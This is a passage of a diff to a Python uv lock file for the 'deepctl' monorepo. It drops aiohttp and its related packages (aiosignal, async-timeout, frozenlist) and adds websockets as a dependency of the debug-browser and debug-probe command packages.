-    { url = "https://files.pythonhosted.org/packages/ff/33/01a8e61d48d0094121092c74125df14c0f8f10ee3149bfe68b6f869409a9/aiohttp-3.14.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d8bc326133272deee8ef337581550450e4bb735c0520be893b950a1f5baaf41a", size = 1917073, upload-time = "2026-10-05T17:40:57.656Z" },
-    { url = "https://files.pythonhosted.org/packages/9e/d6/1a4f24624cda6686d5b927e26d5d1ae3ebb692faf88e93017fab4b391fd0/aiohttp-3.14.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:3ec57223e261b7fa9979c12dbce009ca53439be76cac3af27f860d3e4b1d6f7a", size = 1872656, upload-time = "2026-10-05T17:41:00.123Z" },
-    { url = "https://files.pythonhosted.org/packages/be/be/ed286fcfa2d22061ae021b568c790123505cd482df35e23023339ecaed96/aiohttp-3.14.4-cp314-cp314-win32.whl", hash = "sha256:7242043e71fc449a19a47d92f4e9fd1e0ae8d3f88488982381f422bf6d651218", size = 485461, upload-time = "2026-10-05T17:41:02.686Z" },
-    { url = "https://files.pythonhosted.org/packages/c0/74/e040e6f65f4da305777f1adb3023d47401693489e4a337c983b52d2a0a6b/aiohttp-3.14.4-cp314-cp314-win_amd64.whl", hash = "sha256:019587c7b3a44917dd61bcb312fd5c034f341dc9851b83e7b41b65e08b68ca0f", size = 512147, upload-time = "2026-10-05T17:41:04.98Z" },
-    { url = "https://files.pythonhosted.org/packages/2e/5e/bddb33ae15fdd5a68a10a986587aa9916c418a712fdd110d3b3ae9b51407/aiohttp-3.14.4-cp314-cp314-win_arm64.whl", hash = "sha256:60dc71d38db0988f37e78f6ad4a010a2f6355cfac3fff5f130cf5ef2231f3f0d", size = 494685, upload-time = "2026-10-05T17:41:07.366Z" },
-    { url = "https://files.pythonhosted.org/packages/22/2e/7b884014b40573f919fc3a528e5028bc37b249e31a93928ba61bdd25c960/aiohttp-3.14.4-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:674f53ab9d2794e2dd767619a3384bf1006f8d075e43c19d449a645f8ff641c2", size = 855696, upload-time = "2026-10-05T17:41:09.514Z" },
-    { url = "https://files.pythonhosted.org/packages/5f/e6/b6e2b4f580ab6ae39241bb9182aca60e6e1915cdad0148faaa04db3f366b/aiohttp-3.14.4-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:6d243221f73e5ac546c2ed9255100423e4bc092b08b944f23498e8cf3096c26c", size = 567931, upload-time = "2026-10-05T17:41:11.685Z" },
-    { url = "https://files.pythonhosted.org/packages/63/99/ae8e3a1a18adcbf636839d18b3cccc51007836ccdae5209381c5cf82d1ae/aiohttp-3.14.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0daa016eb74e7888ed5f9ceec6eea3158999c1c4a115ef5cbe88baa8d924f94c", size = 567421, upload-time = "2026-10-05T17:41:13.836Z" },
-    { url = "https://files.pythonhosted.org/packages/63/38/c5d4bb58be72b967a4090d2deeb38571f8c992852936c51dbbbeae49db1c/aiohttp-3.14.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:70c031a622aa20add05ebd234b90adaf6bf51c1c88cc305ec760721af83308c3", size = 2054173, upload-time = "2026-10-05T17:41:16.098Z" },
-    { url = "https://files.pythonhosted.org/packages/eb/87/3c8a9c7670f56d478a75c5bb84b336fb61a67b908e36c30a4a96ed8c8e86/aiohttp-3.14.4-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7df363fa7c38945a896e12c69af4a1a56cbd4152791d9e41fd0bac396b72de38", size = 1918296, upload-time = "2026-10-05T17:41:18.478Z" },
-    { url = "https://files.pythonhosted.org/packages/49/97/bd00e499c0a1505b44f5e23b9739034ea9be792ad42537f2894211ba1c07/aiohttp-3.14.4-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:02a508ba5ad91c4d730523584c0adc65882274bba5e37c33bc2f475e37577256", size = 2027513, upload-time = "2026-10-05T17:41:20.874Z" },
-    { url = "https://files.pythonhosted.org/packages/23/1d/a3666a7c224f86a881f18d673a8ffdc92fa4c35274fb4361822f8f0dc566/aiohttp-3.14.4-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0cb3edece6fe6a944eaf97d803b88f606da6bc1600b1894c2969e78ffdc1fc29", size = 2152686, upload-time = "2026-10-05T17:41:23.181Z" },
-    { url = "https://files.pythonhosted.org/packages/46/7e/f4204b8c4959c46f6367c182afbbacef08a1b53874281912c52fbd80151c/aiohttp-3.14.4-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:21ce1223b461bcc5fb389a7204001578f1c0b85c2da60a84d915ebb021294245", size = 2006431, upload-time = "2026-10-05T17:41:25.776Z" },
-    { url = "https://files.pythonhosted.org/packages/33/43/091e69d42967cbea833ceb355c5457f8f70748fe08b88c9d91491b3fafb8/aiohttp-3.14.4-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:35d5432f0dc1c8b71307e9112461b52f336da225e344283eec4779222c0a1dff", size = 1789101, upload-time = "2026-10-05T17:41:28.095Z" },
-    { url = "https://files.pythonhosted.org/packages/47/7b/b57cbe533c01098c5d30471f057e7c3c19f281122f756acc9c716b636e2c/aiohttp-3.14.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:d6ec364493057c118d08292f7cd60865965c209167d8657b45643a26aef77495", size = 1974472, upload-time = "2026-10-05T17:41:30.499Z" },
-    { url = "https://files.pythonhosted.org/packages/9f/44/79acce03611450e4ed8594f96f1cea40d70bc84fb4e918f94d7d9454a4af/aiohttp-3.14.4-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:70492983b7aed9e61bda82fe1ce80bcba9199610886443133783a288638923c0", size = 1956340, upload-time = "2026-10-05T17:41:33.009Z" },
-    { url = "https://files.pythonhosted.org/packages/da/bb/36e6cbd6720e3377a02f8709aec6fe80de729ef41e78ba01f13d50363c73/aiohttp-3.14.4-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:a77776673331577147e9d25cd7833a72e8891b47556336cff06ba1569e488b99", size = 1965771, upload-time = "2026-10-05T17:41:35.506Z" },
-    { url = "https://files.pythonhosted.org/packages/69/0f/879735ac70ce5e6852916eed51c706a517b205150a8d384f9fa60933a3fc/aiohttp-3.14.4-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:73799000dd6fd5247094fd8e6d3e1eb871e41aab5cc35dff9d9f654cd230bc24", size = 1780297, upload-time = "2026-10-05T17:41:38.284Z" },
-    { url = "https://files.pythonhosted.org/packages/01/5d/7c030ca5b6baf3b02eccd11afc3d58f0b35e407031d5cc78cae9c24921c0/aiohttp-3.14.4-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:27b370fb532e707e8c96d04fa0c96301fb7dba2d50aaca57f6c456cdfffec5bd", size = 2001374, upload-time = "2026-10-05T17:41:40.888Z" },
-    { url = "https://files.pythonhosted.org/packages/80/1e/ddacbb8141d727034c51dd192d17749521d5b30b03f84aa034325396089e/aiohttp-3.14.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:884e0d1c707b6217fee3080b9b4029eee7551af788ee761010df19be158414b7", size = 1968531, upload-time = "2026-10-05T17:41:43.62Z" },
-    { url = "https://files.pythonhosted.org/packages/3a/08/2214f823701eebc3e57db141faeae76df7bfd415f254cc7c1692258f228d/aiohttp-3.14.4-cp314-cp314t-win32.whl", hash = "sha256:f2e3d34edb151d3e27f93a8338e2da33e2c7261cd4c879ce5f5fe280cc190ea5", size = 504126, upload-time = "2026-10-05T17:41:46.321Z" },
-    { url = "https://files.pythonhosted.org/packages/91/a1/90e9b6fd23310b4e82d0c0a37b5ecc2944053350473c57533c1da9647235/aiohttp-3.14.4-cp314-cp314t-win_amd64.whl", hash = "sha256:88cf889e51092537fe44adfbff96c2a22d6479d6f92b97b3d413fbfd0a4decf4", size = 531494, upload-time = "2026-10-05T17:41:48.849Z" },
-    { url = "https://files.pythonhosted.org/packages/97/ab/5b501472c92b9b1dc53742591d6210dccb262962f4721299300d3a9f664b/aiohttp-3.14.4-cp314-cp314t-win_arm64.whl", hash = "sha256:ca450c6d42fda7c0bfaf0e200f32f77c5f2c960a33be1e14d197c84588b7f5f6", size = 510544, upload-time = "2026-10-05T17:41:51.358Z" },
-    { url = "https://files.pythonhosted.org/packages/0f/77/ef165a197850573ea07c8d77bf5f4854a1db12fdb20e1cf0b218abf025fc/aiohttp-3.14.4-cp315-cp315-android_24_arm64_v8a.whl", hash = "sha256:3b10799df72f66c30935bc661cb89e5ac2918debfc575e350e226fbaa846cbb7", size = 540737, upload-time = "2026-10-05T17:41:53.761Z" },
-    { url = "https://files.pythonhosted.org/packages/e6/aa/1663f64d1316b3be9d3f6fafa02b8d888070171a6544cba515e82f3af595/aiohttp-3.14.4-cp315-cp315-android_24_x86_64.whl", hash = "sha256:7ffd7f9dd39caccc6b2f68ec0339435ecad2b20f6ea2e2b3de91bbe464ac7137", size = 554600, upload-time = "2026-10-05T17:41:56.183Z" },
-    { url = "https://files.pythonhosted.org/packages/98/f7/d4d535855123c1a774a798643e75fdfbac62c047b0c0729d6505d09df444/aiohttp-3.14.4-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:a0a7a227353f7693f73878ad14cd2623cafadd656ababcd20e2adfb7225172ea", size = 523184, upload-time = "2026-10-05T17:41:58.624Z" },
-    { url = "https://files.pythonhosted.org/packages/0a/5f/18a8d1cd2958a0b6164b047c18ccb192f2123bb70f1c0a145f6f01f858ad/aiohttp-3.14.4-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:1c43b6af8e4708e8b3812a9ee4f79895207e12d555b7f6d70deb838e0011e12d", size = 530342, upload-time = "2026-10-05T17:42:00.96Z" },
-    { url = "https://files.pythonhosted.org/packages/7f/c4/d1dd2b1fcf8a3192a431375b287a8762ebfd22195ab5b201d3fac30e3a7a/aiohttp-3.14.4-cp315-cp315-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:97416b2b997e5e9b817e322b2f0a89b76c54cde22471f51ac17ac15e10901ba0", size = 540629, upload-time = "2026-10-05T17:42:03.324Z" },
-    { url = "https://files.pythonhosted.org/packages/37/51/d1868f3459f618f6b68a6ef549d8b3f76aa616fa083298911fd3ae65d6b9/aiohttp-3.14.4-cp315-cp315-macosx_10_15_universal2.whl", hash = "sha256:ee2a5aa31e507c17841d592364f2148393b17f83bc2766e9211e1eb31ea72a70", size = 819347, upload-time = "2026-10-05T17:42:05.713Z" },
-    { url = "https://files.pythonhosted.org/packages/84/e6/53179b721b67e0bd20974d02eca97b5691559e8ce666ba23a65aecda6b7f/aiohttp-3.14.4-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:5d5d9843c34866e986dd24eef713452609e304550c471320ce7b54b3cfb1391e", size = 549825, upload-time = "2026-10-05T17:42:08.093Z" },
-    { url = "https://files.pythonhosted.org/packages/00/0f/d67ddf7a43d4899176954511b6c048328abec1a5df4901f811a3b408a4fc/aiohttp-3.14.4-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:efcbf93e31b52c21665b6ebc489eb6fdb0dfd86b592edc677b5cffdfa7b11677", size = 549315, upload-time = "2026-10-05T17:42:10.766Z" },
-    { url = "https://files.pythonhosted.org/packages/9d/db/42f372c7f8e259505f239cb49db75f23548deaec56d22c68b4866f1c3fe2/aiohttp-3.14.4-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2f1a79977794592dcf6485ed964ec2448db527a1bc0c72ec89663658dad3a739", size = 1892181, upload-time = "2026-10-05T17:42:13.194Z" },
-    { url = "https://files.pythonhosted.org/packages/23/0d/8b1900216302a94f69b41bf0786bb992a6e67d703f4698e335c2442db615/aiohttp-3.14.4-cp315-cp315-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:515e7ac6d27509dc3ba2c35fb88970b00b9e7b07ee7cc947c8733dcd54ef5def", size = 1883513, upload-time = "2026-10-05T17:42:15.704Z" },
-    { url = "https://files.pythonhosted.org/packages/7b/5e/15c014313e567fff931ec4a5f81683cc40251257791fbd607ec37c0dad80/aiohttp-3.14.4-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:185154ffa3b54765b5de96f464f41cfa476f8815a03854ae5e0fe4d48fb06e9c", size = 1933283, upload-time = "2026-10-05T17:42:18.241Z" },
-    { url = "https://files.pythonhosted.org/packages/f5/b3/bf7dc39a450218efb1d5c692bac7dc85ef56da282e889bee594f3267211e/aiohttp-3.14.4-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6aece59f77959628a22cd2ffe48b102cda9611d680e090f204385b3998a1190f", size = 2041054, upload-time = "2026-10-05T17:42:20.728Z" },
-    { url = "https://files.pythonhosted.org/packages/b6/03/ffba18d7aaedb5eafac3f41f0c26621ebb0a740bb0115ea2fae1911d902b/aiohttp-3.14.4-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d7205aa6589f1ad1306c6994ff2e1ab5efabacf938f9ffd7682fb225c197b06a", size = 1895494, upload-time = "2026-10-05T17:42:23.518Z" },
-    { url = "https://files.pythonhosted.org/packages/45/f4/68123365b86826eee82bdceb7fb4c429204cb3a104d6b7ae44bc6a543fcb/aiohttp-3.14.4-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f38c7b3ce60d55ac0f2a9fd2edc194789d043fefea15cfb7dcb40b7d5f561146", size = 1714098, upload-time = "2026-10-05T17:42:26.471Z" },
-    { url = "https://files.pythonhosted.org/packages/b1/db/b13c0b214afc571782e8667f3b9e0bbed6843397be90fa35acf2f3ecfbb0/aiohttp-3.14.4-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:b0a1274ee4ee6203c15a341cce87f9f3df8151d5496047b3608bb62bd969cffc", size = 1857111, upload-time = "2026-10-05T17:42:29.169Z" },
-    { url = "https://files.pythonhosted.org/packages/6b/7f/4f5d3cee3c23b57119aebba5174962fed0bc493f37f38edab2f5730411b6/aiohttp-3.14.4-cp315-cp315-musllinux_1_2_armv7l.whl", hash = "sha256:69ce2407951516f413adf3132b88451eababd710ce631f83c81a9603a3640253", size = 1892123, upload-time = "2026-10-05T17:42:31.786Z" },
-    { url = "https://files.pythonhosted.org/packages/5e/2e/5a6a1f014c4e17d58d4e935d0dd64e612f4eaa2f33cca2475b48ca5e3fb5/aiohttp-3.14.4-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:b84d3d057c60eb8e0c2b457a1203e868d82709d3f0c272a4975dfd88c2414939", size = 1898809, upload-time = "2026-10-05T17:42:34.34Z" },
-    { url = "https://files.pythonhosted.org/packages/de/f3/d1cca5311a70fcc1c7c2082e02044578a69bcb10686db33a322df9fb849e/aiohttp-3.14.4-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:4ecc84f69c9e217984f6877e832e4786a74567432c0bf2b7512919fbdfe18ade", size = 1704814, upload-time = "2026-10-05T17:42:37.047Z" },
-    { url = "https://files.pythonhosted.org/packages/0a/cb/cd58eae366148a5b9b1baa233542151154f2b72cd32daa39fd9db97d0c0d/aiohttp-3.14.4-cp315-cp315-musllinux_1_2_s390x.whl", hash = "sha256:878f2d7950238b2b0a8cbb88054444a125f0cfbc77f54c811aca0483132a9be3", size = 1918390, upload-time = "2026-10-05T17:42:39.674Z" },
-    { url = "https://files.pythonhosted.org/packages/e3/d8/f5e6c4939432734033048ba631503edf4a1e693ee5e261773e169803bbe4/aiohttp-3.14.4-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:6ff9d3a0e6935f1cb0a6685f9f4b3f0d3e406456d7a434a03cf309b8cd5d7a2e", size = 1878321, upload-time = "2026-10-05T17:42:42.528Z" },
-    { url = "https://files.pythonhosted.org/packages/2b/71/462957d6b5d4eb208f78e67745c41480bad2e738aa7caf1d9b07536920c1/aiohttp-3.14.4-cp315-cp315-win32.whl", hash = "sha256:e07dfd7cd360f20be26dc2487ad4c7f21b0b39fdd593e9ebf37d2424ad52defb", size = 485536, upload-time = "2026-10-05T17:42:45.223Z" },
-    { url = "https://files.pythonhosted.org/packages/ba/6e/48f59266a8b8c6420894ff59b8e74175252da67df85967b96997e96b7092/aiohttp-3.14.4-cp315-cp315-win_amd64.whl", hash = "sha256:921fc4f1ad549091bfc39cb5e93925b04f307f83517756a3111843851130efce", size = 512087, upload-time = "2026-10-05T17:42:47.717Z" },
-    { url = "https://files.pythonhosted.org/packages/25/f5/46263b23cee4f312e28aaabbdec2e074c807700a12c9dfa18beff461f035/aiohttp-3.14.4-cp315-cp315-win_arm64.whl", hash = "sha256:5be8af106f96fd625f6c264fa9faaaa9e0104089684d9015d2fa5b6eba6407c7", size = 494709, upload-time = "2026-10-05T17:42:50.615Z" },
-    { url = "https://files.pythonhosted.org/packages/77/8d/e3b1d406c95a8fe436ae2e5f01ee9591196c6c22c44c645b24f20d73eaea/aiohttp-3.14.4-cp315-cp315t-macosx_10_15_universal2.whl", hash = "sha256:e69727ec04a4608200ff32ec29478299df7657e2eb78c416ae338d0ca6662596", size = 856014, upload-time = "2026-10-05T17:42:53.425Z" },
-    { url = "https://files.pythonhosted.org/packages/5d/fc/e9e78d1097830040bc0a4b8af073379f964064bfa7f0a852d774f96f3168/aiohttp-3.14.4-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:f8b658dd3ef2ebd7708b311ed96ff7cb5edaca001a30018a091504ef492bcb1c", size = 567724, upload-time = "2026-10-05T17:42:56.416Z" },
-    { url = "https://files.pythonhosted.org/packages/e6/ad/c813a705a1da1c111c30723b52e1efb67763e9f0b3b54a418cb419616e7a/aiohttp-3.14.4-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:3749e018123df1205161a73ba96d336e17e9cf6b947295e53a43571de420e7b1", size = 567888, upload-time = "2026-10-05T17:42:59.048Z" },
-    { url = "https://files.pythonhosted.org/packages/c2/1f/7676f46aa24554a45686853c61552d02d67ade2b4c51adfe8b2ec4fdecd2/aiohttp-3.14.4-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8f28a3c4fca436b2e594090e7cd22558f5e93a30ca18516c436de982da6fc25a", size = 2054356, upload-time = "2026-10-05T17:43:01.781Z" },
-    { url = "https://files.pythonhosted.org/packages/44/79/b9ef7d7442061e0a3125990d6021230b30361a972f7b8ebfb011042877ce/aiohttp-3.14.4-cp315-cp315t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e099aae21246992a1d84303ff262262d054c474e46cace33b0d5a69810c71877", size = 1937678, upload-time = "2026-10-05T17:43:04.492Z" },
-    { url = "https://files.pythonhosted.org/packages/5c/98/5927a31540c8e6d0542effead5bd5c56e749a9d99d84e902fb80ae906ef8/aiohttp-3.14.4-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:fafb521891e646d9cf5da89f01c75e7159d08be7254a024149630a698be28251", size = 2026705, upload-time = "2026-10-05T17:43:07.353Z" },
-    { url = "https://files.pythonhosted.org/packages/62/bd/1be001ed97dcfa57a292188c38979fb78be795b960b50f02660587bffa06/aiohttp-3.14.4-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1d385db2cd154bce0b3dd451cf2a52bec91ebb7be2c3a5d06b14b4391631d807", size = 2147075, upload-time = "2026-10-05T17:43:10.141Z" },
-    { url = "https://files.pythonhosted.org/packages/0b/f7/d59628ccedd7c86db4c1f904467d1c80fed6cc10a1831ed5d75ff12e5a71/aiohttp-3.14.4-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ae8a244889d8a53549851bf595b9f382f64acca57e8762da1ecb26ba786828f7", size = 2005016, upload-time = "2026-10-05T17:43:12.848Z" },
-    { url = "https://files.pythonhosted.org/packages/3c/dc/472db3ab1daafa12a61d7f83314f85f502b99c143c78d66554a5e24361fd/aiohttp-3.14.4-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:681dde68ff8d8d5e7d5abcad4feb45bfb457a218310c919825e21fc36cac3d0b", size = 1796363, upload-time = "2026-10-05T17:43:15.562Z" },
-    { url = "https://files.pythonhosted.org/packages/08/61/6f9834b131b9a42e30d68c469c196033d3cae2d8fe340d4668f362c4fd1f/aiohttp-3.14.4-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:b91a6441fcaed88ca7bca67726b189332df3ceb6ac0dfc98dcb9654bb723288c", size = 1974240, upload-time = "2026-10-05T17:43:18.884Z" },
-    { url = "https://files.pythonhosted.org/packages/b5/2f/b8eb2a276685ef1da7f7bc15348404b8b9ee12b8f32f2cd8895385cd1589/aiohttp-3.14.4-cp315-cp315t-musllinux_1_2_armv7l.whl", hash = "sha256:f15dbbac49bc15eaff95c0b8166525c4050996af578c7be141e145f40ee2cf24", size = 1973387, upload-time = "2026-10-05T17:43:21.661Z" },
-    { url = "https://files.pythonhosted.org/packages/5b/32/ad559b2d6817e85f7cb294d8641e975e64b526f4da98ffe941c9af67a047/aiohttp-3.14.4-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:7abae043e87692d1c2adda1fab501bb0612d28c4a23eb082005c1e684f792dac", size = 1968766, upload-time = "2026-10-05T17:43:24.544Z" },
-    { url = "https://files.pythonhosted.org/packages/60/67/4a16e398140bdabb363428b9f439af3f77706a6df8bea6e626bbde53c2ab/aiohttp-3.14.4-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:21f4624fb1051fc1aa10d57a636a80e829f7d0417462d6f1ce380b08fe1a904c", size = 1788193, upload-time = "2026-10-05T17:43:27.467Z" },
-    { url = "https://files.pythonhosted.org/packages/a9/38/17b326da7f52e530a675d789ade3e727a1b3db9959722f6049b9c392321a/aiohttp-3.14.4-cp315-cp315t-musllinux_1_2_s390x.whl", hash = "sha256:2e8dc3a0fdaf9d12b954d3d06cc4c355d91b17fb6c671715b593624ca4c379f8", size = 1999645, upload-time = "2026-10-05T17:43:30.32Z" },
-    { url = "https://files.pythonhosted.org/packages/53/dc/91b87961250010e05eb3adabaf0d98e4229ee7543147c265e834922e1b0b/aiohttp-3.14.4-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:1410b6f6e3d52ea7c02c950496522ce6e85d5543bf154bc80a6141e505251cfa", size = 1970998, upload-time = "2026-10-05T17:43:33.364Z" },
-    { url = "https://files.pythonhosted.org/packages/72/66/9bcf2c2db7b75a3b51c11470ceb67941d028727d674276ff5d5120adc87e/aiohttp-3.14.4-cp315-cp315t-win32.whl", hash = "sha256:a65189a89f3e621f7c27a968b5131bbca29126e2b8517dc72b205747a39d4c96", size = 504036, upload-time = "2026-10-05T17:43:36.212Z" },
-    { url = "https://files.pythonhosted.org/packages/e2/20/349db4af12dbc16070d32028d30c2067123b4520f3dcb2d9013524efeb4f/aiohttp-3.14.4-cp315-cp315t-win_amd64.whl", hash = "sha256:2b2c95f5f769eec92b552969db1f79ea0282058ce5131ed0f2fa540b4af3f14e", size = 531284, upload-time = "2026-10-05T17:43:39.362Z" },
-    { url = "https://files.pythonhosted.org/packages/26/21/544c711bc5fad611278ebd153bdcab1bffce8b8581f8ec9096b275948a3c/aiohttp-3.14.4-cp315-cp315t-win_arm64.whl", hash = "sha256:54209fff79346ee1ef0d5cbf92fa80a5bb37396406bb4d932e5107f9c29b2d3f", size = 510623, upload-time = "2026-10-05T17:43:42.15Z" },
-    { url = "https://files.pythonhosted.org/packages/2b/27/5e1f8446545be98e9416af59c396b1ed1f9f3294afb0a40ee3a709889273/aiohttp-3.14.4-py3-none-any.whl", hash = "sha256:5c6758ba62aea282c537179cfc8474a90f2b5f7b089cc5ff66d8920d86a9bfdd", size = 279487, upload-time = "2026-10-05T17:43:44.905Z" },
-]
-
-[[package]]
-name = "aiosignal"
-version = "1.4.0"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
-    { name = "frozenlist" },
-    { name = "typing-extensions", marker = "python_full_version < '3.13'" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/61/62/06741b579156360248d1ec624842ad0edf697050bbaf7c3e46394e106ad1/aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7", size = 25007, upload-time = "2025-07-03T22:54:43.528Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/fb/76/641ae371508676492379f16e2fa48f4e2c11741bd63c48be4b12a6b09cba/aiosignal-1.4.0-py3-none-any.whl", hash = "sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e", size = 7490, upload-time = "2025-07-03T22:54:42.156Z" },
-]
-
 [[package]]
 name = "annotated-types"
 version = "0.8.0"
@@ -332,15 +131,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/25/6c/b400476d3ceba681ab929787edc9554f6d88fcc69435eb681b00fc0457a5/ast_serialize-0.8.0-cp39-abi3-win_arm64.whl", hash = "sha256:b2a5978662fd4db463dfb4b974d2b10ac6430b98f5333aabc7051909df3561d0", size = 1083655, upload-time = "2026-08-07T11:29:00.349Z" },
 ]
 
-[[package]]
-name = "async-timeout"
-version = "5.0.1"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/a5/ae/136395dfbfe00dfc94da3f3e136d0b13f394cba8f4841120e34226265780/async_timeout-5.0.1.tar.gz", hash = "sha256:d9321a7a3d5a6a5e187e824d2fa0793ce379a202935782d555d6e9d2735677d3", size = 9274, upload-time = "2024-11-06T16:41:39.6Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/fe/ba/e2081de779ca30d473f21f5b30e0e737c438205440784c7dfc81efc2b029/async_timeout-5.0.1-py3-none-any.whl", hash = "sha256:39e3809566ff85354557ec2398b55e096c8364bacac9405a7a1fa429e77fe76c", size = 6233, upload-time = "2024-11-06T16:41:37.9Z" },
-]
-
 [[package]]
 name = "attrs"
 version = "26.1.0"
@@ -1188,13 +978,14 @@ name = "deepctl-cmd-debug-browser"
 version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-debug-browser" }
 dependencies = [
-    { name = "aiohttp" },
     { name = "click" },
     { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "httpx" },
     { name = "pydantic" },
     { name = "rich" },
+    { name = "websockets", version = "16.1.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
+    { name = "websockets", version = "17.0.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
 ]
 
 [package.optional-dependencies]
@@ -1205,7 +996,6 @@ dev = [
 
 [package.metadata]
 requires-dist = [
-    { name = "aiohttp", specifier = ">=3.9.0" },
     { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
@@ -1214,6 +1004,7 @@ requires-dist = [
     { name = "pytest", marker = "extra == 'dev'", specifier = ">=7.0.0" },
     { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=0.21.0" },
     { name = "rich", specifier = ">=13.0.0,<16" },
+    { name = "websockets", specifier = ">=13.1,<18" },
 ]
 provides-extras = ["dev"]
 
@@ -1245,24 +1036,25 @@ name = "deepctl-cmd-debug-probe"
 version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-debug-probe" }
 dependencies = [
-    { name = "aiohttp" },
     { name = "click" },
     { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "deepctl-shared-utils" },
     { name = "pydantic" },
     { name = "rich" },
+    { name = "websockets", version = "16.1.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
+    { name = "websockets", version = "17.0.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
 ]
 
 [package.metadata]
 requires-dist = [
-    { name = "aiohttp", specifier = ">=3.11.0" },
     { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepctl-shared-utils", editable = "packages/deepctl-shared-utils" },
     { name = "pydantic", specifier = ">=2.0.0,<3" },
     { name = "rich", specifier = ">=13.0.0,<16" },
+    { name = "websockets", specifier = ">=13.1,<18" },
 ]
 
 [[package]]
@@ -1884,127 +1676,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/a7/8e/50f46a9c0ce8d2861a394c1347caae037ea0431d2f67d7feb151cbc4649a/filelock-3.32.3-py3-none-any.whl", hash = "sha256:7f0ca4bcc0e181c60dbbd8aa9ab5b120ebb99e4e064e83636340056f833a1f09", size = 98901, upload-time = "2026-08-13T16:00:03.974Z" },
 ]
 
-[[package]]
-name = "frozenlist"
-version = "1.8.0"
-source = { registry = "https://pypi.org/simple" }
